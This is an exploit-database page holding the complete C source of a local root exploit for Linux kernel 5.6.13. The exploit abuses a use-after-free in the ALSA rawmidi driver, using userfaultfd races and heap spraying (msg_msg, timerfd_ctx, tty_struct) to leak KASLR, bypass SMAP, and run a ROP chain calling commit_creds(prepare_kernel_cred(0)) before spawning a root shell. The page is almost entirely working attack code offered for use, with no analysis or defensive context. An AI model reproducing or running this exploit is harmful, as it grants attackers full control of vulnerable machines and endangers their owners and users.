Linux Kernel 5.6.13 Use-After-Free Exploit exploit

Share

## https://sploitus.com/exploit?id=1337DAY-ID-39744 // gcc -o exploit exploit.c -masm=intel -static -s -lpthread #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <stdbool.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/ioctl.h> #include <errno.h> #include <string.h> #include <unistd.h> #include <stdint.h> #include <sound/asound.h> #include <sys/mman.h> #include <sys/syscall.h> #include <linux/userfaultfd.h> #include <sys/timerfd.h> #include <sys/ipc.h> #include <sys/msg.h> #include <pthread.h> #include <poll.h> #define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \ } while (0) #define ADDRESS_PAGE_FAULT1 0x1337000 #define ADDRESS_PAGE_FAULT2 0x3331000 #define ADDRESS_PAGE_FAULT3 0x5551000 #define PAGE_SIZE 0x1000 #define DRIVER_RAWMIDI "/dev/snd/midiC0D0" #define SNDRV_RAWMIDI_STREAM_OUTPUT 0 uint32_t uffd; uint32_t fd1, fd2, fd3; uint64_t next; uint64_t fake_table; pthread_t thread[6]; bool release_page_fault = false; static void *page; unsigned long pivot; unsigned long kernel_base; unsigned long timerfd_tmrproc; unsigned long usr_cs, usr_ss, usr_rflags, usr_sp; struct args_trigger { char *addr; int size; uint32_t fd; }; void hexdump(uint64_t *buf, uint64_t size) { for (int i = 0; i < size / 8; i += 2) { printf("0x%x ", i * 8); printf("%016lx %016lx\n", buf[i], buf[i + 1]); } } static void save_state() { __asm__ __volatile__( "movq %0, cs;" "movq %1, ss;" "pushfq;" "popq %2;" "movq %3, %%rsp\n" : "=r" (usr_cs), "=r" (usr_ss), "=r" (usr_rflags), "=r" (usr_sp) : : "memory" ); } static void getRootShell() { if(getuid()) { printf("[-] Failed to get a root"); exit(0); } printf("[+] uid : %d\n", getuid()); printf("[+] Got root.\n"); execl("/bin/sh", "sh", NULL); } void register_userfaultfd(uint64_t *range) { struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1) { perror("[-] userfaultfd"); exit(0); } uffdio_api.api = UFFD_API; uffdio_api.features = 0; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) { perror("[-] ioctl"); exit(0); } printf("[*] Start monitoring range: %p - %p\n", page, page + PAGE_SIZE); uffdio_register.range.start = (uint64_t) range; uffdio_register.range.len = PAGE_SIZE; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) { perror("[-] ioctl"); exit(0); } puts("[+] Userfaultfd registered"); } void *handler_userfaultfd(void *args) { uint64_t uffd = *(uint64_t *)args; struct uffd_msg msg; struct uffdio_copy uffdio_copy; uint64_t nread; void *page2 = NULL; if ((page2 = mmap((void *)0xdead000, PAGE_SIZE * 5, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0)) == MAP_FAILED) { perror("[-] mmap()"); exit(0); } uint64_t m_ts = 0x000000000000ffff; memcpy(page2, (char *) &m_ts, 8); while (true) { struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); if (nready == -1) { perror("[-] poll"); exit(0); } nread = read(uffd, &msg, sizeof(msg)); if (nread == 0) { perror("[-] EOF on userfaultfd!\n"); exit(0); } if (nread == -1) { perror("[-] read"); exit(0); } char *page_fault_location = (char *)msg.arg.pagefault.address; if (msg.event != UFFD_EVENT_PAGEFAULT) { perror("[-] Unexpected event on userfaultfd"); exit(0); } if (msg.arg.pagefault.address == (void *)0x1337000 || msg.arg.pagefault.address == (void *)0x3331000 || msg.arg.pagefault.address == (void *)0x5551000) { printf("[+] Page Fault triggered on address 0x%llx\n", msg.arg.pagefault.address); if(msg.arg.pagefault.address == (void *)0x5551000) { memcpy(page2, (char *) &fake_table, 8); } while (release_page_fault == false); uffdio_copy.src = (uint64_t) page2; uffdio_copy.dst = (uint64_t) msg.arg.pagefault.address &~(PAGE_SIZE - 1); uffdio_copy.len = PAGE_SIZE; uffdio_copy.mode = 0; uffdio_copy.copy = 0; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) { perror("[-] ioctl"); exit(0); } release_page_fault = false; } } close(uffd); puts("[+] Page fault thread finished"); } void *trigger_userfaultfd(struct args_trigger *args) { char *addr = (char *) args->addr; int size = args->size; uint32_t fd = (uint64_t) args->fd; write(fd, addr, size); } void send_msg(int qid, const void *msg_buf, size_t size, long mtype) { struct msgbuf { long mtype; char mtext[size - 0x30]; } msg; msg.mtype = mtype; memcpy(msg.mtext, msg_buf, sizeof(msg.mtext)); if (msgsnd(qid, &msg, sizeof(msg.mtext), 0) == -1) { perror("msgsnd"); exit(1); } } void *recv_msg(int qid, size_t size) { void *memdump = malloc(size); if (msgrcv(qid, memdump, size, 0, IPC_NOWAIT | MSG_NOERROR) == -1) { perror("msgrcv"); return NULL; } return memdump; } void build_rop(char *buf) { uint64_t *rop = (uint64_t *)&buf[0x0]; int k = 0; /* commit_creds(prepare_kernel_cred(0)) */ rop[k++] = kernel_base + 0x15e8; // pop rdi ; ret rop[k++] = 0x0; rop[k++] = kernel_base + 0x8a800; // prepare_kernel_cred rop[k++] = kernel_base + 0x49fb8; // pop rdx ; ret rop[k++] = 0x8; rop[k++] = kernel_base + 0xa6b081; // cmp rdx, 8 ; jne 0xffffffff81a6b05e ; ret rop[k++] = kernel_base + 0x3dfdb4; // mov rdi, rax ; jne 0xffffffff813dfda1 ; xor eax, eax ; ret rop[k++] = kernel_base + 0x8a3c0; // commit_creds /* kpti trampoline */ rop[k++] = kernel_base + 0xc00a45; // swapgs_restore_regs_and_return_to_usermode + 22 rop[k++] = 0x0; // rax rop[k++] = 0x0; // rdi rop[k++] = (unsigned long)&getRootShell; rop[k++] = (unsigned long)usr_cs; rop[k++] = (unsigned long)usr_rflags; rop[k++] = (unsigned long)usr_sp; rop[k++] = (unsigned long)usr_ss; uint64_t *func_table = (uint64_t *)&buf[0x100]; for (size_t i = 0; i < 12; i++) { if (i == 4) { *func_table++ = kernel_base + 0x1e; // ret; continue; } if (i == 5) { *func_table++ = kernel_base + 0x1e; // ret continue; } if (i == 6) { *func_table++ = kernel_base + 0x1e; // ret continue; } *func_table++ = 0xdeadbeefdeadbe00 + i; } *func_table = pivot; } void pin_cpu(long cpu_id) { cpu_set_t mask; CPU_ZERO(&mask); CPU_SET(cpu_id, &mask); if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { err("`sched_setaffinity()` failed: %s", strerror(errno)); } return; } void main(void) { pin_cpu(0); struct snd_rawmidi_params srp; save_state(); /* ===================== [ SETP 1 - KASLR Leak ] ===================== */ puts("[+] STEP 1 : KASLR leak"); fd1 = open(DRIVER_RAWMIDI, O_RDWR); if (fd1 < 0) { perror("[-] open"); exit(0); } puts("[+] Opening rawmidi"); int qid[2]; if ((qid[0] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) { perror("msgget"); exit(1); } struct itimerspec its; its.it_interval.tv_sec = 0; its.it_interval.tv_nsec = 0; its.it_value.tv_sec = 9999; its.it_value.tv_nsec = 0; int tfd[256]; for(int i = 0; i < 256 / 2; i++) { tfd[i] = timerfd_create(CLOCK_REALTIME, 0); timerfd_settime(tfd[i], 0, &its, 0); } if ((page = mmap((void *)0x1336000, PAGE_SIZE * 2, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0)) == MAP_FAILED) { perror("[-] mmap()"); exit(0); } puts("[+] Mapping two pages"); char *addr = page; memset(addr, 'A', PAGE_SIZE); puts("[+] Registering one page userfaultfd"); /* Registering mapped area */ register_userfaultfd((uint64_t *) ADDRESS_PAGE_FAULT1); puts("[+] Raising up the handler for userfaultfd"); /* Handler for userfault */ pthread_create(&thread[0], NULL, handler_userfaultfd, (void *) &uffd); /* Create one object by size 256 */ srp.stream = SNDRV_RAWMIDI_STREAM_OUTPUT; srp.buffer_size = 240; srp.avail_min = 1; uint64_t err = ioctl(fd1, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp); puts("[+] Created one object by size 256"); if (err < 0) { perror("[-] ioctl"); exit(0); } struct args_trigger args; args.addr = addr + PAGE_SIZE - 0x18; args.size = 0x18 + 0x8; args.fd= fd1; /* Blocking before object created by size 256 in userfault */ pthread_create(&thread[1], NULL, (void *) trigger_userfaultfd, &args); puts("[+] Triggering userfaultfd"); /* Deleting before object created by size 256 generating an UAF */ srp.buffer_size = 250; err = ioctl(fd1, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp); puts("[+] Deleting before object created by size 256 generating UAF"); if (err < 0) { perror("[-] ioctl"); exit(0); } /* send_msg 'A' */ char buf[0xf8 - 0x30]; memset(buf, 0x41, sizeof(buf)); send_msg(qid[0], buf, 0xf8, 1); puts("[+] Allocate msg_msg in kmalloc-256"); printf("[*] Waiting for userfaultd to finish ..\n"); release_page_fault = true; /* spray timerfd_ctx in kmalloc-256 */ for(int i = 256 / 2; i < 256; i++) { tfd[i] = timerfd_create(CLOCK_REALTIME, 0); timerfd_settime(tfd[i], 0, &its, 0); } puts("[+] Allocate timerfd_ctx in kmalloc-256"); while(release_page_fault == true); printf("[+] Page fault lock released\n"); uint64_t *leak = recv_msg(qid[0], 0x2000); // hexdump(leak, 0x2000); timerfd_tmrproc = *(leak + (0x200 / sizeof(uint64_t))); kernel_base = timerfd_tmrproc - 0x2201f0; pivot = kernel_base + 0x8fc625; // push r8 ; add byte ptr [rbp + 0x41], bl ; pop rsp ; pop r13 ; ret printf("[+] timerfd_tmrproc addr : 0x%lx\n", timerfd_tmrproc); printf("[+] kernel_base addr : 0x%lx\n", kernel_base); printf("[+] pivot addr : 0x%lx\n", pivot); for(int i = 0; i < 256; i++) { close(tfd[i]); } close(fd1); puts("[+] Close rawmidi"); /* ===================== [ SETP 2 - SMAP Bypass ] ===================== */ puts("\n[+] STEP 2 : SMAP bypass"); release_page_fault = false; fd2 = open(DRIVER_RAWMIDI, O_RDWR); if (fd2 < 0) { perror("[-] open"); exit(0); } puts("[+] Opening rawmidi"); if ((qid[1] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) { perror("msgget"); exit(1); } if ((page = mmap((void *)0x3330000, PAGE_SIZE * 2, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0)) == MAP_FAILED) { perror("[-] mmap()"); exit(0); } puts("[+] Mapping two pages"); addr = page; memset(addr, 'B', PAGE_SIZE); puts("[+] Registering one page userfaultfd"); /* Registering mapped area */ register_userfaultfd((uint64_t *) ADDRESS_PAGE_FAULT2); puts("[+] Raising up the handler for userfaultfd"); /* Handler for userfault */ pthread_create(&thread[2], NULL, handler_userfaultfd, (void *) &uffd); /* Create one object by size 512 */ srp.stream = SNDRV_RAWMIDI_STREAM_OUTPUT; srp.buffer_size = 500; srp.avail_min = 1; err = ioctl(fd2, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp); puts("[+] Created one object by size 512"); if (err < 0) { perror("[-] ioctl"); exit(0); } args.addr = addr + PAGE_SIZE - 0x18; args.size = 0x18 + 0x8; args.fd= fd2; /* Blocking before object created by size 512 in userfault */ pthread_create(&thread[3], NULL, (void *) trigger_userfaultfd, &args); puts("[+] Triggering userfaultfd"); /* Deleting before object created by size 512 generating an UAF */ srp.buffer_size = 90; err = ioctl(fd2, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp); puts("[+] Deleting before object created by size 512 generating UAF"); if (err < 0) { perror("[-] ioctl"); exit(0); } /* rop spray in kmalloc-512 */ char secondary_buf[0x1ea - 0x30]; memset(secondary_buf, 0, sizeof(secondary_buf)); build_rop(secondary_buf); printf("[*] Waiting for userfaultd to finish ..\n"); release_page_fault = true; for(int i = 0; i < 0x20; i++) { send_msg(qid[1], secondary_buf, 0x1ea, 0x1337); } puts("[+] Spray ROP Chain in kmalloc-512"); while(release_page_fault == true); printf("[+] Page fault lock released\n"); uint64_t *leak2 = recv_msg(qid[1], 0x2000); next = *(leak2 + (0x1d8 / sizeof(uint64_t))) + 0x30; fake_table = next + 0x100; printf("[+] msg_msg->m_list.next leak : 0x%lx\n", next - 0x30); printf("[+] Fake tty_struct->ops function table: 0x%lx\n", fake_table); // hexdump(leak2, 0x2000); close(fd2); puts("[+] Close rawmidi"); /* ===================== [ SETP 3 - tty_struct->ops overwrite ] ===================== */ puts("\n[+] STEP 3 : Fake tty_struct->ops overwrite"); release_page_fault = false; fd3 = open(DRIVER_RAWMIDI, O_RDWR); if (fd3 < 0) { perror("[-] open"); exit(0); } puts("[+] Re-opening rawmidi"); if ((page = mmap((void *)0x5550000, PAGE_SIZE * 2, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0)) == MAP_FAILED) { perror("[-] mmap()"); exit(0); } puts("[+] Mapping two pages"); addr = page; memset(addr, 'C', PAGE_SIZE); puts("[+] Registering one page userfaultfd"); /* Registering mapped area */ register_userfaultfd((uint64_t *) ADDRESS_PAGE_FAULT3); puts("[+] Raising up the handler for userfaultfd"); /* Handler for userfault */ pthread_create(&thread[4], NULL, handler_userfaultfd, (void *) &uffd); /* Create one object by size 800 */ srp.stream = SNDRV_RAWMIDI_STREAM_OUTPUT; srp.buffer_size = 800; srp.avail_min = 1; err = ioctl(fd2, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp); puts("[+] Created one object by kmalloc-1024"); if (err < 0) { perror("[-] ioctl"); exit(0); } args.addr = addr + PAGE_SIZE - 0x18; args.size = 0x18 + 0x8; args.fd= fd3; /* Blocking before object created by size 1024 in userfault */ pthread_create(&thread[5], NULL, (void *) trigger_userfaultfd, &args); puts("[+] Triggering userfaultfd"); /* Deleting before object created by size 1024 generating an UAF */ srp.buffer_size = 90; err = ioctl(fd3, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp); puts("[+] Deleting before object created by size 1024 generating UAF"); if (err < 0) { perror("[-] ioctl"); exit(0); } int spray[256]; /* tty_struct spray */ for(int i = 0; i < 256; i++) { spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); if(spray[i] < 0) { printf("[-] Failed open /dev/ptmx\n"); } } puts("[+] Allocate tty_struct in kmalloc-1024"); release_page_fault = true; while(release_page_fault == true); puts("[+] Page fault lock released"); for(int i = 0; i < 256; i++) { ioctl(spray[i], 0, next - 8); } }